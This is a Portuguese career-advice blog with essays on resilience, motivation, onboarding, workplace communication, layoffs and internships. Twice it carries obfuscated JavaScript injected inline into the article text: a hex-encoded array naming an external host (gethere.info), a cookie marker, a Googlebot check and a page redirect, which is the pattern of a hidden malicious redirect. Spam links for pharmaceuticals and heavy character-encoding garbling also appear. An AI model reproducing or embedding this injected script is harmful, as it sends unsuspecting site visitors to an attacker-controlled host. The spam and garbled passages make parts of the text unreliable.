Conexão Profissioanal

Resiliência, no conceito da Física, é a capacidade de um material voltar a sua forma prévia, após ser submetido a um impacto ou estresse. Já para a Psicologia, indica a capacidade das pessoas para superar situações de adversidade. Muito embora não seja uma característica pessoal, pois está associada também às condições do entorno social, ser resiliente é fator importante na vida profissional.

É muito comum, ao longo da trajetória de carreira, passarmos por muitas dificuldades e momentos de desmotivação. Por exemplo, um profissional pode passar dois anos tentando implementar um projeto inovador e ouvir dos colegas e gestores que não será possível.

Porém, se ele tem convicção de que dará resultado, não deveria desistir facilmente. O importante é estar atento ao momento adequado e criar as condições para que aconteça. Não deve nem cruzar os braços, nem insistir demais para convencer os outros. Precisa criar uma estratégia e executá-la.

Quem desenvolve a resiliência, por mais que passe por momentos de desânimo, assim como o metal amassado, pode voltar à condição anterior. Não desiste e insiste nos objetivos. A sabedoria está em saber o momento adequado para tentar novamente ou se, de fato, o projeto não vale e é melhor partir para outra.

Atualmente, as empresas têm ficado mais atentas aos movimentos preconceituosos acerca de gênero e orientação sexual. Vivemos em um século que visa os direitos iguais, e as instituições tendem a seguir essa linha. Recentemente, discutimos sobre as mulheres e seu crescimento na carreira; as dificuldades encontradas no reconhecimento de sua capacidade de administrar a vida pessoal e profissional. Agora, vamos destacar a questão da orientação sexual.

Antigamente, assumir e explicitar uma orientação opção sexual diferente da heterossexual era considerado um tabu. Ainda hoje existem situações em que o preconceito, mesmo que implícito, se apresenta. Então, como assumir sua orientação sexual dentro da organização e buscar seus direitos, sem medo?

Em primeiro lugar, sua orientação sexual não deve ser tratada de uma forma angustiante, nem como foco da questão. A informação relevante aqui é se você tem um cônjuge ou parceiro que precisa entrar no programa de benefícios da empresa onde trabalha ou pretende trabalhar. Como qualquer casal ou família, as informações a serem trazidas para dentro da empresa dizem respeito à cobertura dos seus dependentes. O fato de você ser homossexual ou não é apenas um detalhe.

Entretanto, alguns cuidados devem ser tomados. O primeiro passo é verificar a política da empresa para casais não casados – uma vez que muitas delas só cobrem casamentos ou uniões estáveis – e então seguir as orientações do Departamento Pessoal e do RH. Converse com seu gestor e com o setor responsável sobre a possibilidade de inclusão de dependentes na cobertura do Plano de Saúde, Seguro de Vida e na política de transferência entre unidades de negócio.

E, caso perceba algum tipo de preconceito dentro da empresa, peça suporte aos dois – gestor e RH -, pois a discriminação deve ser combatida no âmbito da organização. Afinal, sua vida particular é única e exclusivamente do seu interesse, e de ninguém mais.

Segundo o dicionário, a palavra motivado significa “aquele que tem bons motivos”. A motivação, de acordo com a psicologia, é resultado de um conjunto de fatores que determinam uma ação. Ou seja, para se alcançar um objetivo na vida, tanto profissional quanto pessoal, é fundamental ter a motivação que faça com que não se desista, mesmo com todas as dificuldades que aparecerão no caminho.

Uma pessoa motivada é aquela que busca agir em prol de atingir algum objetivo específico. Há fatores externos que impulsionam essa motivação, como o incentivo da família, a condição socioeconômica, o acesso a oportunidades, entre outros. Entretanto, achar que apenas esses fatores são responsáveis pelo seu desenvolvimento é um engano fatal para quem quer crescer na profissão. O principal motivador da sua causa tem que ser você mesmo.

Quando estabelecemos uma meta, quer seja comprar um apartamento ou atingir uma determinada posição da carreira, é importante traçar um plano. Mas só planejar sua vida não fará com que ela vá adiante; é preciso ter perseverança, acreditar em si mesmo e buscar as alternativas para fazer acontecer. Não dá para ficar esperando que o mundo faça por você.

Se algo não acontece como gostaria, desviando dos planos traçados originalmente, ficar reclamando do passado não vai adiantar. Nesses momentos, devemos perguntar a nós mesmos: o que eu deveria fazer de diferente para conseguir meus objetivos? Isso sem desconsiderar os preceitos éticos, claro! Esteja disposto a mudar e adaptar-se às situações adversas.

Lembre-se que pessoas motivadas também podem ter momentos de descrença, mas não podem deixar paralisar-se pelas dificuldades. Levante a cabeça e continue tentando, apenas a sua perseverança pode te levar aonde você deseja.

Pesquisas recentes mostram que os jovens brasileiros, especialmente os das classes mAi??dia e alta, estA?o se preocupando, cada vez mais, em trabalhar com algo que lhes seja prazeroso. Mas isso nA?o Ai?? novidade; a busca pelo trabalho dos sonhos Ai?? um caminho almejado pela grande maioria dos trabalhadores.

Os programas de orientaAi??A?o profissional jA? existem hA? muito anos e tA?m como principal funAi??A?o fazer com que os jovens reflitam sobre suas escolhas, ajudando-os a optarem por uma carreira que alie seus gostos particulares com seus projetos de vida. Um profissional que faz o que gosta e tem valores convergentes com os da organizaAi??A?o onde se insere, tem maior probabilidade de realizar um trabalho de qualidade. E Ai?? exatamente essa qualidade atrelada ao compromisso que geram reconhecimento por parte da empresa e do gestor.

Muitos jovens, todavia, fazem uma idealizaAi??A?o acerca da profissA?o ou de um determinado tipo de empresa e, ao se depararem com a realidade, acabam por se decepcionar. Por isso, Ai?? fundamental pesquisar e procurar conhecer o meio onde estA? se inserindo, minimizando as frustraAi??Ai??es ao se deparar com a realidade.

Ao querer trabalhar no que gosta, o profissional deve manter em mente que nem tudo sA?o ai???rosasai???. Sempre haverA?o tarefas maAi??antes que precisam ser executadas. AlAi??m disso, nem sempre se tem o reconhecimento esperado na hora desejada. Alinhar expectativas, compreender que a carreira se constrA?i com o tempo e ter a paciA?ncia necessA?ria para esperar resultados sA?o caracterAi??sticas fundamentais para qualquer profissional manter sua motivaAi??A?o.

Uma caracterAi??stica importante tambAi??m Ai?? a resiliA?ncia, que significa a capacidade de conseguir se adaptar e evoluir positivamente a partir de um momento de adversidade. Ou seja, saber lidar com problemas, se adaptar a mudanAi??as e se reerguer, ultrapassando seus prA?prios limites e superando as dificuldades.

O que nA?o se pode Ai?? fixar na ideia distorcida de que tudo que farA? na vida profissional serA? a tarefa mais prazerosa, mesmo quando se trabalha na profissA?o que gosta. Ai?? fundamental desenvolver a maturidade necessA?ria para enfrentar os momentos difAi??ceis que irA?o aparecer durante o percurso.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Todo profissional, ao ingressar em uma organização, leva algum tempo para se adaptar ao seu funcionamento e procedimentos. Um fator que pode ajudar nessa adaptação é um processo estruturado de integração. Entretanto, nem todas as empresas reconhecem a importância de cuidar desse momento para a manutenção de uma boa gestão. E muitas que reconhecem, não dão prioridade a ela.

Diante do imediatismo em que vivemos atualmente, as demandas na área de negócios e a urgência em colocar o profissional para trabalhar o mais rápido possível para conseguir dar conta das necessidades operacionais, as empresas terminam por sobrepujar a necessidade de uma boa integração. Realizar esse processo, contudo, pode resultar em menos atrapalhos para o profissional que está chegando, já que ele não conhece os mecanismos da organização e pode levar mais tempo para desenvolver as atividades.

O processo de integração também pode favorecer a recepção deste novo componente pelas equipes. Quando isso não ocorre, a impressão que o profissional provavelmente terá é a de que foi “jogado” na empresa, o que, consequentemente, passa uma imagem de pouco cuidado. Por isso, é importante, antes de tudo, que haja sempre uma apresentação de toda a estrutura de gestão, das áreas e dos principais interlocutores. Além disso, apresentar o código de conduta também é importante nesse momento inicial.

Mas para a integração ser bem sucedida, é essencial que ela seja uma via de mão dupla e que as duas partes estejam dispostas a colaborar. Deve-se lembrar que para fazer parte de um time, ter uma postura de abertura ao diálogo e de colaboração é essencial e depende unicamente da pessoa. É fundamental, por parte do profissional, que ele se mostre interessado e pergunte ao contratante sobre o funcionamento dos setores, unidades de negócios e vá se apresentando aos colegas de trabalho aos poucos.

Uma equipe bem estruturada e com boa comunicação é primordial para o sucesso da organização. Afinal, a competitividade das empresas é influenciada diretammente pela capacidade de trabalho em equipe.

“Quem não sabe, inventa”. Esse dito popular é realmente uma verdade quando se trata da mente humana; nós não deixamos lacunas nos nossos pensamentos. Para cada fenômeno presenciado, há uma tentativa do individuo de interpretar e dar sentido àquilo segundo seus próprios referenciais. Por isso, a comunicação interna é essencial para o bom funcionamento da empresa; então qual postura deve-se adotar?

Aquilo que não é dito ou explicado será fatalmente interpretado pelos empregados e, nem sempre, as ações planejadas atingirão o resultado esperado quando a comunicação interna de uma empresa não é bem feita. Várias interpretações diferentes podem surgir do que ficou implícito. E muito embora precise ser um processo sistemático e com instrumentos definidos, o fluxo de informações é algo que depende da postura de todos os envolvidos.

Se, por um lado, os gestores são responsáveis em repassar dados, esclarecer acontecimentos e ouvir as equipes, por outro, os empregados também são responsáveis por tornar essa compreensão uma via de mão dupla. Como parte de um time, cada profissional deve procurar manter uma boa comunicação com seus colegas, e isso pode ser feito de várias formas.

Manter a postura receptiva à críticas e sugestões, buscar esclarecer para os colegas questões técnicas da sua área e alinhar com seu gestor aquilo que deve ser divulgado – como um novo procedimento, por exemplo -, são pontos primordiais quando se trata de uma boa comunicação. Procurar as informações em fontes confiáveis ou diretamente com os envolvidos, evitar fofocas ou alimentar conflitos, além de estar atento aos eventos e acontecimentos dentro e fora da empresa também são atitudes importantes e que devem ser tomadas.

Lembre-se de que a comunicação é responsabilidade de todos e você também precisa fazer a sua parte.

Demissões em massa nunca são fáceis de lidar, nem para os que são demitidos e nem para os profissionais que ficam na empresa. É inevitável que o clima no ambiente de trabalho fique pesado em situações como esta, mas é preciso ficar atento para não se deixar contaminar pelo pessimismo.

Em tempos de cortes no orçamento, é muito comum que as empresas diminuam suas equipes. Diante da crise econômica que o Brasil está passando, essa prática voltou a ser vista com mais frequência. Essa não é a primeira opção da maioria das empresas, mas muitas vezes não há alternativa para a manutenção no negócio, e os gestores acabam tendo que optar por ela.

Para os que saem, é um momento difícil. Ainda mais quando acontece de repente, sem aviso prévio e nem sinal. Mas também não é fácil para quem fica na empresa. O clima é naturalmente afetado e a tensão é instaurada, mesmo quando as lideranças são cuidadosas na comunicação. Entretanto, para o profissional que ficou, é imprescindível não se deixar contaminar pela onda de pessimismo trazida por uma demissão em massa.

Primeiramente, é necessário estar atento ao contexto e avaliar como se pode contribuir para o momento que a empresa está vivendo. Ficar atento aos custos que seus projetos geram também é importante, pois se deve evitar desperdícios. Fazer seu trabalho e manter a articulação com os colegas da equipe é primordial, pois a boa comunicação é um fator indispensável nesse momento.

O foco nas realizações também é fundamental para manter a motivação. Nunca deixe de fazer seu planejamento semanal e diário. E se, em algum momento, você sentir que está cabisbaixo, conversar com um colega que está vivenciando a mesma situação pode ajudar. Ele provavelmente se sente igual a você e vai entender seus sentimentos. Procure ter uma atitude positiva e, depois do desabafo, lembrar que manter o humor é tão importante quanto produzir com qualidade.

E nada de derrotismo! Se lhe mantiveram na empresa, é porque seu trabalho é necessário e você é um profissional competente. Em momentos de dificuldades, manter a roda girando é fundamental para o negócio, para a equipe e para você.

http://hair-luxe.com/?p=10314 http://queenster.com/zyban-cost-south-africa/ T http://www.genesisconsulting.ro/blog/2018/02/16/how-much-arimidex-to-take-on-cycle/ arefas repetitivas inerentes a qualquer atividade podem tornar o comportamento mecA?nico e, em pouco tempo, fazer com que o profissional reduza a satisfaAi??A?o ou atAi?? nA?o sinta mais prazer pelo que faz. Mas como nA?o cair nessa armadilha e manter a produtividade?

Toda atividade profissional tem rotinas prA?prias, que se repetem com certa regularidade. Ai?? comum que, com o passar do tempo, o profissional deixe de analisar os elementos e padrAi??es da sua funAi??A?o, fazendo-a mecanicamente. Esse comportamento pode gerar um erro grave, pois quando produzimos algo no ai???piloto automA?ticoai???, muitas vezes deixamos de cuidar da qualidade e tambAi??m de pensar em novas formas de fazA?-lo.

Se por um lado os hA?bitos facilitam a realizaAi??A?o das atividades, por outro, a rotina pode levar uma pessoa ao estado de apatia, inclusive em relaAi??A?o ao trabalho. Caso suas atividades estejam muito repetitivas e isso venha causando desmotivaAi??A?o Ai?? importante pensar se hA? formas de dinamizar as atividades. Pois quando se faz algo vA?rias vezes e do mesmo jeito, a tendA?ncia Ai?? se acostumar com a experiA?ncia e nA?o percebA?-la mais como prazerosa.

Outra dica Ai?? pedir aos seus colegas sugestAi??es de melhorias no processo; procurar inovar como se faz e apresentar essa proposta de inovaAi??A?o ao gestor para aprovaAi??A?o. Caso, pela natureza da atividade, nA?o seja possAi??vel alterar o processo, talvez mudar a hora de realizA?-la ou alternar com outras atividades ou tarefas menos repetitivas seja fundamental.

Dar pequenas paradas tambAi??m pode ajudar a quebrar a monotonia. Da parte do gestor, para continuar mantendo a equipe engajada e motivada com o trabalho, uma boa estratAi??gia Ai?? fazA?-la pensar continuamente no que estA?o realizando, como o processo Ai?? feito e como pode ser melhorado. Lembre-se que todo trabalho tem importA?ncia, do mais simples ao mais complexo, e que sua atividade existe porque Ai?? relevante para a organizaAi??A?o onde vocA? trabalha.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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É cada vez mais comum, principalmente por causa das Redes Sociais, que os profissionais façam parte de grupos de discussão online. Apesar de serem importantes veículos para troca de ideias, deve-se tomar cuidado com a exposição excessiva nesses canais.

Uma das formas de comunidades virtuais que tem se desenvolvido na internet são os grupos de discussão, em que pessoas se inscrevem em determinada lista e recebem mensagens eletrônicas de todos os inscritos, ou então acessam uma página, em que os tópicos em debate são desenvolvidos. Caso você participe de um grupo online, pode aproveitar para construir vínculos profissionais, trocar experiências, tirar dúvidas técnicas, etc.

Entretanto, é importante ter cuidado com o comportamento adotado nesses grupos, assim como ter atenção redobrada para não revelar informações restritas e estratégicas da sua empresa. Procedimentos internos ou ferramentas/tecnologias próprias precisam ficar preservados.

Lembre-se também que sua opinião, geralmente, vem acompanhada de uma assinatura: o seu nome profissional e o nome da sua empresa. Portanto, merece cuidado. Evite abrir assuntos off-topics, ou seja, discussões fora do sentido do tópico. Postagens de caráter comercial ou de propaganda também devem ser evitadas, assim como o uso do fórum como chat em conversas paralelas sem ligação com o tema em debate.

Trocar experiência será sempre enriquecedor, mas merece atenção para não prejudicar sua credibilidade diante dos colegas de profissão e da empresa para a qual trabalha.

Muitos jovens profissionais, quando ainda estão na universidade, têm dúvidas sobre a melhor forma de se prepararem para o mercado de trabalho. Ter uma formação diversificada é essencial para quem quer se destacar como profissional, mas como escolher as áreas de estágio visando ter uma experiência mais ampla?

Fazer um bom estágio é realmente muito importante para a carreira, especialmente quando o estagiário está empenhado em aprender e encontra profissionais qualificados e com disposição para ajudá-lo em seu desenvolvimento. Entretanto, o estudante precisa estar atento para buscar experiências em áreas diversas durante a graduação, favorecendo uma formação em campos variados.

Tão logo tenha condições de estagiar – pelo menos a partir do 4º ou 5º período do curso superior – o estudante deve procurar oportunidades em empresas da sua área. Como cada programa de estágio pode durar, pela lei, no máximo dois anos, o universitário terá de duas a três oportunidades diferentes para estagiar ao longo de sua formação.

Além da possibilidade de confirmar sua escolha de formação profissional, ser estagiário em empresas variadas pode servir para que o estudante entenda melhor todas as áreas em que poderá atuar na carreira. Ou seja, além de proporcionar uma formação mais rica, o estágio, se bem-sucedido, pode motivar ainda mais a busca pelo sucesso profissional.